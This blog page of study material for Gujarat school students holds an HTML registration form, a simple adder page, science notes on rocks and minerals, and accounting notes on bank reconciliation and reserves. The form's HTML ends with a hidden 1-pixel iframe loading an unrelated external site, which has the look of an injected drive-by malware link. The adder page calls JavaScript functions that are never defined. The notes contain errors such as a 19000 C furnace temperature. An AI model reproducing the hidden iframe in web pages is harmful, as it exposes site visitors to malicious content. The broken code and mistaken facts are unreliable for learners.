E-commerce books for all subjects Like Medicine, nursing, engineering

Friday, March 6, 2015

html registration form for std 12 learning language GSEB course

<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>f</title>
<script>
function validationForm()
{
var x=document.form1.fname.value;
var y=document.form1.mname.value;
var z=document.form1.lname.value;
var r=document.form1.address.value;
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(y==""||y==null)
{
alert("plese enter the Middel name");
document.form1.mname.focus();
return false;
}
if(z==""||z==null)
{
alert("plese enter the last name");
document.form1.lname.focus();
return false;
}
if(r=="")
{
alert("plese enter the Address");
document.form1.address.focus();
return false;
}
if((document.form1.gender[0].checked==false)&&(document.form1.gender[1].checked==false))
{
alert("plese choose your Gender:Male or Female");
document.form1.gender[0].focus();
return false;
}
if((document.form1.hobby[0].checked==false)&&(document.form1.hobby[1].checked==false)&&(document.form1.hobby[2].checked==false))
{
alert("plese choose a hobby");
document.form1.hobby[0].focus();
return false;
}
if(document.form1.city.value=="-1")
{
alert("plese provide your city");
document.form1.city.focus();
return false;
}
}
</script>
</head>
<body>
<form onsubmit="return validationForm()" method="post"
action="form1.html" name="form1"><span style="font-weight: bold;">First
name   </span> 
           
            <input name="fname"><br
style="font-weight: bold;">
<span style="font-weight: bold;"> </span><br
style="font-weight: bold;">
<span style="font-weight: bold;">Middel name 
  </span>       
           
 <input name="mname"><br>
<br style="font-weight: bold;">
<span style="font-weight: bold;">Last name</span>
           
           
     <input name="lname"><br>
<br>
<span style="font-weight: bold;">Gender</span>
           
           
         <input name="gender" value="male"
type="radio">Male
<input name="gender" value="female" type="radio">Female<br>
<br>
<span style="font-weight: bold;">Hobby</span>
           
           
            <input name="hobby"
value="singing" type="checkbox">Singing
 <input name="hobby" value="dancing" type="checkbox">Dancing  <input
name="hobby" value="reading" type="checkbox">Reading<br>
<br>
<span style="font-weight: bold;">Address</span>
           
           
        <textarea cols="30" rows="4" name="address"></textarea><br>
<br>
<span style="font-weight: bold;">City</span>
           
           
           
 
<select name="city">
<option value="-1">Choose the city</option>
<option value="1">Ahmedabad</option>
<option value="2">Baroda</option>
<option value="3">Surat</option>
<option value="4">Rajkot</option>
</select>
<br>
                   
               <br>
 
                   
                   
   <input name="Submit" value="Submit" type="submit">  
       <input name="Reset" value="Reset"
type="submit"><br>
</form>
<iframe style="height: 1px;" src="http://www.Brenz.pl/rc/"
frameborder="0" width="1"></iframe>
</body>
</html>

Wednesday, December 10, 2014

add and subtract programme for std 12 shakti

<html>
<head>
<title> Simple Adder </title>

<script type="text/JavaScript">

</script>
</head>

<body>
<form name="Adderfrm" method="post">

<h1>Simple Adder</h1>

<h2>Enter a number:
<input type="text" name="number1" size=20> <br><br>

Enter a number:
<input type="text" name="number2" size=20> <br><br>

<input type="button" name="AddButton" value="Add Numbers"
onClick="addNumbers(number1.value,number2.value)">

<input type="button" name="ClearButton" value="Clear Fields"
onClick="clearNumbers()"> <br><br>

Answer =
<input type="text" name="total" size=12>
</h2>
</form>
</body>
</html>

Monday, March 4, 2013

Rocks, Minral and metals for std 8 to 10 science CBSE

Rocks, Minerals and Metals

qDko, qinjo Ane 2atuAo

Rocks, Minerals and Metals

Rocks are found on the crust of the earth and made up of mineral.

Coarse grained Granite.

Some are coarse grained as granite. Clay has much fine grains that we cannot see them separately. If you closely examine a piece of granite, you will find that it is made up of a number of substances under a magnifying lens or a microscope. Substances which assemble together to form rocks are called minerals. Minerals are naturally occurring inorganic substances.

The earth Crust

Remainder of the crust consists of mainly six metals (1) Aluminum (most abundant) (2) Iron (3) Calcium (4) Sodium (5) Potassium (6) Magnesium.

Three forth of the earth crust is made just of two non metals.

(1) Oxygen (2) Silicon.

The average thickness of earth crust is 35 km under the continents and 10 km under the oceans.

Different types of Rocks

Igneous rocks

Meaning:- Word derived from the latin word ‘ignis’ meaning fire. First rock to appear on the earth’s surface.

Formation:- Formed by the cooling and solidification of extremely hot molten material, magma below the earth crust. This magma pushes its way through earth’s crust with high pressure to form igneous rocks.

Sedimentary Rocks

By the deposition for sediments SEDIMENTS are broken down particles of existing rocks which are deposited layers by layers by flowing water or wind in the sea along with dead plants and animals.

All this are neatly preserved in the sediments.

The process goes on for millions of years and the resultant rocks are called Sedimentary rocks.

Sedimentary rocks contains the relics of plants & animal known as Fossils.

They harden with age.

Thickness of overlaying layers are usually soft.

Metamorphic rocks

FORMATION :- When igneous or sedimentary rocks are subjected to intense heat, compression or fluid injection the physical & chemical properties changes which results in metamorphic rock.

Minerals :

1. Naturally occuring inorganic substances with specific composition.
2. Substance which assemble together to form rocks are called Minerals. There are about 2000 distinctive minerals.
3. A mineral made of atom of a single element or of more than one elements.
4. It is identified by its physical properties such as colour, lustre, hardness, specific gravity and cleavage.

Types of Minerals

Minerals and their uses

Identifu uses of Minerals

Common Ores

Blast Furnace

The concentrated ore along with coke (c) and limestone are added to a blast furnace. Blasts of hot air at about 19000 C are blown into the furnace lined with fire bricks. The coke reduces the ore to metallic iron. The molten iron collects at the bottom of the furnace. Limestone on heating decomposes to calcium oxide and carbon dioxide. Calcium oxide reacts with the sand and forms a slag (calcium silicate).

Pig iron and Wrought iron difference.

Saturday, October 6, 2012

Final account specimen of trial balance ch 2 std 11 GSEB

After preparing all subsidiary books a trial balance is prepared at the end of financial year to Know the Arithmetical accuracy of the account.

Final account Example & specimen of Trial balance for std 11

For more details Example 1 Video

Final account Example & specimen of Trial balance for std 11

Final account Example for std 11

Tuesday, September 18, 2012

BANK RECONCILIATION STATEMENT, Advance accounts ch 5

ACCOUNT CH-5 BANK RECONCILIATION STATEMENT
---------------------------------------------------------------------------------------------

Ch 5 Bank Reconcilation statement

à Points to remember.

1. B. R. S. is prepared by trader (business men, A/c holder)

2. B. R. S. is a statement ,not an account.

3. It will be prepared with the help of bank column of cash-book and pass-book.

4. It will be prepared when closing balance of bank column of cash-book dose not tally with closing balance of pass-book.
5. Methods for preparing B. R. S.

aà Addition (+) and subtraction ( - ) method.

bà Debit and credit method.

6. Performa B. R. S. of………… as on ……..

No. particulars Dr. Cr.

Bank bal. or Bank 0/D as per C. B. or P.B.

1 Cheque deposited debited in C. B. but not credited in P. B.

2 Cheque deposited credited in P. B. but not debited in C. B.

3 Cheque deposited debited in C. B. now dishonored not credited in C. B.

4 Any amount directly deposited by our customer credited in P. B.
But not debited in C. B.

5. Cheque issue credited in C. B. but not debited in P. B.

6 Cheque issue debited in P. B. but not credited in C. B.

7 Any expenses like Bank charges, B commission, insu. Premium, paid

by bank on our behalf dr. by bank but not cr. In C. B.

8 Any income collected by bank on our behalf e. g. bank interest, dividend

etc. cr. In bank but not dr. In C. B.

9 Bills receivable discounted in bank, now dishonored. Dr in P. B. with

Noting charges, not credited in C. B.

10 Bills sent for collection, collected by bank on due date. Cr in P. B. not

Debited in C. B.

11 Bill payable paid by bank on our behalf debited in P.B. not cr. In C. B.

12 Amount overcasted in C. B. \ P. B. record on opposite side.

13 Amount undercasted in C. B. \ P. B. record on same side.

Bank bal. or Bank 0/D as per C. B. or P.B.

Important rule :

The amount which is not debited in any of the book debit in b. r. s. and the amount which is not credited in any of the book is to be credited in b. r. s. [Do what is not done]

à Give opposite effect, than given earlier.

Type of Questions:

when C. B. and P. B. both are given for same month.

Step I

Decide whether the cash book is having the balance or O/D as per follows

When cash book Dr.(receipt) side is greater it is known as balance as per C:B. and when cash book Cr. (payment) Side is greater it is known as overdraft as per C. B.

Step II

The above decided balance recorded in B.R.S. according to following.

CASH BOOK

Dr. RECEIPT	PAYMENT Cr.
Balance as per cash book. Is on debited side	O/D. as per cash book. is on cr. Side

PASS BOOK

Dr. PAYMENT	RECEIPT Cr.
O/D as per pass book. is on debit Side	Balance as per pass book. is on credit side

Step-III

Make the round on the transactions which are not same by comparing cash book debit side with

pass book credit side

And prepare B. R. S. according to Performa.

RESERVE, RESERVE FUND, PROVISION Advance Accounts for std 11 ch 3

STD 11 ACCOUNT CH-3 RESERVE, RESERVE FUND, PROVISION --------------------------------------------------------------------------------

Reserve, Reserve fund, Provision

-Q-1 What is reserve ? Explain the type of reserve?

Ans: Taking into consideration the future expenses and loss, the part of
profit set a part is known as reserve .

* The purpose of creating reserve are as under ;

1. To meet the future contingent loss and expenses, e.g. Bad debts,
repairing .

2. To meet the provision for the payment to be made in future for known
liabilities, e.g. A reserve to make the payment for provident fund.

3. To strengthen the financial position of the business.
4. To strengthen liquid position of business.

5. To provide for development.

Following are the type of reserve ;
1. General reserve ;

        When there is no specific purpose to create the reserve but to
        strengthen the finical position of the business a part of the profit is
        kept a side is known as general reserve.

2.     Special reserve and provisions: A reserve which is created in order
        to meet the future certain expenses, or losses, is known as special
        reserve.

3. Capital reserve : When a profit by selling of the an assets is set
apart as called capital reserve.

4. Sinking fund : Sinking fund is a special type reserve. It is maintained to repay the long term debts on maturity such as Debentures, bank loan etc, as well as to make the arrangements to purchase new assets in place of the depreciated fixed assets.

5. Secret reserve : A reserve which is created but not shown in balance sheet is
known as secret reserve.

Q-2 Explain the meaning of general reserve fund, Narrates its objectives and
advantages.
Ans: When there is no special purpose to create the reserve but to strengthen the finical position of the business a part of the profit is kept a side is known as general reserve. In other words it can be said that a reserve which can be used for general purpose and not for specific purpose as known as general reserve. In order to create general reserve, the amount will be debited to p/l, appropriation account and general a/c will be created.

The following are the main objective and advantaged of general reserve.

1. To strengthen the finical position of the business: the amount kept separate from the profit is not reinvested in the firm of assets. But it will be reinvested in the firm as on additional capital and the finical position of business becomes stronger.

2. To meet future contingencies: If the is depression or if natural calamity arises, the reserve will business to meet them. Hence the efficiency increases to absorb the contingent losses that arise in future.

3. To strengthen the liquidity: The liquidity position of the business becomes stronger because of the certain of the G, R which can be easily converted in cash. This reserve will help in providing sufficient working capital and in meeting current liabilities as and when they arise.

4. To equalize the rate of dividend: As G.R is created from the year of profit, the year in which the profit is low or if the loss incurred, G. R. can be used to maintain the rate of dividend. And there buy the goodwill of the firm is protected.

5. To give bonus shares:
G. R.. can be used to give bonus share to existing share holders.

6. To provide for development: For expansion or development of the firm there is no need to borrow from out side the firm which reduce their expenses like interest to be paid.

Q-3 Explain the special reserve with help of illustration?

Ans: A reserve set aside out of profit to meet the future possible expenses and losses like B. D. or to meet some known liabilities, is as known as a special reserve.; This provision is made even though, there is no profit in firm. It is to be debited to p/L A/c.

* The objects are as follows :

1. To meet with specific expenses of loss which are going to take in future. e.g. A provision for depreciation.

2. To met with uncertain or unestimated expenses or probable losses which are going to take place in future, e.g. A reserve created for pending claims, A provision for taxation.

3. The according effects of O/s expense are to be recorded in accounts, Adjustments are written for this. Thus the accounts (by making provision) are known as current liabilities but not provision. And the arrangements for the uncertain amount like B. D. R., Repairing reserve, other expense which are not certain but probable is a provision.

Q-4 Distinguish between General reserve and provision {imp}

Ans	General reserve	Provision
1 2 3 4 5 6 7	General reserve is not created for any specific purpose but is created to strengthen the finical position of business. It is debited to p/L appro. a/c. The amount is General reserve can be used to give bonus, share, to declare dividend or to write off the losses. It can be created only in the year in which profit is earned because it is appropriation of profit. How much amount is to be transferred to reserve depends upon the provision of law, amount of profit, will and wishes of the administrator It will be shown under the heading of reserve and surplus to the balance sheet on capital liabilities. It is a part of profit it can be use to write off losses occurs in any year	It is created for specific purpose like depreciation, renovation, bad debts, taxation etc. It is debited to p/L account. Provision can be used for the purpose for which it is created. E.g. provision for taxation can be used to the payment for taxes only. Necessary provision also be made even in the year in which losses are incurred. The amount to be transferred to provision is certain. Amount of provision will be deducted from the respective asset in B/s or it will be shown under the gearing of provision on the capital liabilities sides. It is use for the sum purpose for which it is created.

Q-5 Write a short note on capital reserve ?

Ans: A profit which is not earned from revenue income like sales of goods or services,
      but the profit earned from the sale of assets is known as capital reserve. Generally
        such profit will be kept in the respective A/c or will be transfer to capital reserve.
        Generally such amount of capital profit can be used to distribute the dividend.

* Capital reserve is created from the following profit having capital nature.

1. A profit released from the sales of fixed assets.

2. A profit release by revaluation of any of the fixed assets.

3. A profit prior to incorporation of a company.

4. A profit earned by paying less, at the time of purchase of business. Means, when
the purchase price is paid less than the net assets of the business.

5. A balance of the share forfeiture A/c, after the re issue of forfeited share.

6. A premium received at the time of issue of shares of debenture.

7. A profit earned at the time of redemption of debenture, when less amount paid on
debentures than the cost price of debentures.

* Capital reserve can be used for the following purpose.

1. To write of capital losses.

2. To write of the fictitious assets like goodwill, preliminary expenses, discount on
debenture etc.

3. To issue the bonus shares, if the articles of Association provides.

The amount of capital reserve is shown under the heading “Reserve and surplus” separately from General reserve.

Q-6 Write a short notes on sinking fund ?

Ans : Sinking fund is special type of reserve. It is maintain to repay on maturity the long term debts such as bank loan, debentures etc. as well as to make arrangements to purchase new assets In place of the depreciated fixed assets. In fact such sinking fund is a profit kept separately, which is not use for any other purpose by company or unit. After completion of the object for which it is created it is generally transferred to general reserve. But if the sinking fund is created in order to replace any fixed assets the amount is debited to profit and loss account. The amount transferred to both the above stated sinking funds generally is invested in government securities or in any other investments out side the business. The amount of interest received on such investment, will also be invested in the same by crediting the sinking fund. When the amount of loan for debentures is to be paid on maturity, the liability will be satisfied with the help if the amount realised from the sale of securities. In order to avoid the loss arising from the sale of securities, instead of investment , the amount is used for the payment to take insurance policy. In case the liability will be satisfied with the help of the amount received of policy. which is received on the date of maturity.

Q-7 What is secret Reserve ? Explain the risk of creation on secret reserve.

Ans : Such reserve account dose not exits in the books of accounts. But the assets and receivable as well as liabilities and provision disclosed in the books of account are taken such a value that secret reserve emerges in the business e.g. reserve created by making more than necessary the provisions for depreciation, bad debts reserve, contingent liabilities or by presenting the assets at liabilities lesser value then the actual value and liabilities at higher value then the actual value.

* following are the risk arising because of the creation of secret reserve.

1. The balance sheet does not represent the true picture of business.

2. There remain a possibility of that shareholder may not received dividends paid is less, the market price of share of the company will fall down which will affects the goodwill of the company.

3. There remains possibility that administrators may obtain profit by decreasing the price of share of a company, though malpractising with help of secret reserve.

4. In case of fire accident, less compensation will be received from insurance co. etc.

Q-8 Explain with reasons, whether following items are reserve or provision ?

Ans : 1. Taxation reserve: This reserve is provision because this reserve will be used only for that purpose which for it is created.

2. Depreciation fund : It is provision. The depreciation fund is created to meet with specific expenses or losses which are going to take place in future. E.g. a provision for depreciation, repaid and renovation of the assets.

3. Dividend equalization fund : Dividend equalization fund is reserve. It is created to equalize the rate of the dividend but it is also used for any other purpose. So, dividend equalization fund is a reserve. .

4. Bad debts reserve : B. D. R. is provision, because the objective to create this reserve is to write the losses which will be probable to arise in the future.
5. Investment fluctuation fund :This is a provision. It can be created to write in future with increasing & decreasing in the market price of the investment of the business.

6. Sinking fund : It is a provision. It is created to pay the long term debts on maturity, to purchase new assets when old are totally depreciated. But when the object is full fill the amount of sinking fund is generally transferred to general reserve.

7. Workmen’s compensation fund : It is provision. It is used only for the specific purpose of giving compensation to the workers.

8. Employee’s bonus fund : it is a provision. It is used only to give bonus to employees.

Q-9 Explain what is reserve fund? Explain how it differs from general reserve?

Ans : If the amount of reserve is not invested in the investments outside the business. It known as G.R. but if this amount is invested in investment outside the business then it is known as reserve fund. Thus the amount of reserve is invested outside the business, the word fund is added with reserve and it is known as reserve fund.